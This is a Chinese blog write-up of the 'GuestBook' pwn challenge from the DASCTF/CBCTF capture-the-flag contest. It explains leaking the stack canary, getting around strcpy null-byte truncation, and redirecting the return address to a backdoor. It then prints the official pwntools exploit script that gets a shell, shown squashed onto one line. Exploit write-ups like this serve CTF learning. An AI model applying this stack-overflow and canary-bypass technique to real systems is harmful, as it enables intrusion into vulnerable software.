打了一下Dasctf&CBCTF的pwn题目,感觉有些思路,但是就是做不出来,赛后发WP才恍然大悟,还是太菜了喵(
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GuestBook
没开PIE开了canry和NX
main函数:
首先是很明显的溢出,可以用此来泄露canary值,这部分还是很好做的,
然后就是可以留下信息,最多四次,发现有strcpy函数,将输入的信息到我们申请的堆上面,再用strcpy复制到栈上,但是这有一个小细节就是如果发送的数据中有‘/x00’那么就会被识别为字符串就会自动截断了,所以就得有0的时候就得多输入几次,而且这道题还直接给了后门,出题人真是个好人(。
在这里还有一个细节那就是填充的数据是从栈底往上填充的,
那么知道了这个就可以进行我们栈上的布置了,首先先接收canary值,注意不要把00发送过去了
第一次发送的时候把canary发送过去,同时把返回地址修改为0x4012C3
修改完返回地址后,我们再次strcpy到canary处,此时因为strcpy的特性,我们发过去的会自动带上'/x00',canary值我们没发过去的/x00就会得到补全,而再次发送就可以getshell了
exp(来自官方wp:)
from pwn import * context.log_level = 'debug' context.arch='amd64' local=0 #p=remote('node4.buuoj.cn',26492) p = process('./GuestBook') def z(a=''): if local: gdb.attach(p,a) if a=='': raw_input else: pass ru=lambda x:p.recvuntil(x) sl=lambda x:p.sendline(x) sd=lambda x:p.send(x) sa=lambda a,b:p.sendafter(a,b) sla=lambda a,b:p.sendlineafter(a,b) ia=lambda :p.interactive() def leak_address(): if(context.arch=='i386'): return u32(p.recv(4)) else : return u64(p.recv(6).ljust(8,b'\x00')) def leak_canary(): if(context.arch=='i386'): return u32(p.recv(7).rjust(8,b'\x00')) else: return u64(p.recv(7).rjust(8,b'\x00')) sa("Please input your name: ","A"*24+":") ru(":") canary = leak_canary() success("canary: "+hex(canary)) sa("How many messages would you like to leave(MAX 4): ",str(2)) #gdb.attach(p) #pause() #payload = 0x8*b'A' #sl(payload) #payload = 0x8*b'B' #sl(payload) #payload = 0x8*b'C' #sl(payload) payload = (0xA0-8)*b"A" + b'a' + p64(canary)[1:] + 8*b"B" + b"\xC3\x12\x40" sl(payload) payload = (0xA0-8-32)*b"A" sl(payload) p.interactive()
Binding:(待博主补充完毕)
标签:x00,canary,CBctf,sl,pwn,Dasctf,recv,payload,lambda From: https://www.cnblogs.com/ModesL/p/17794355.html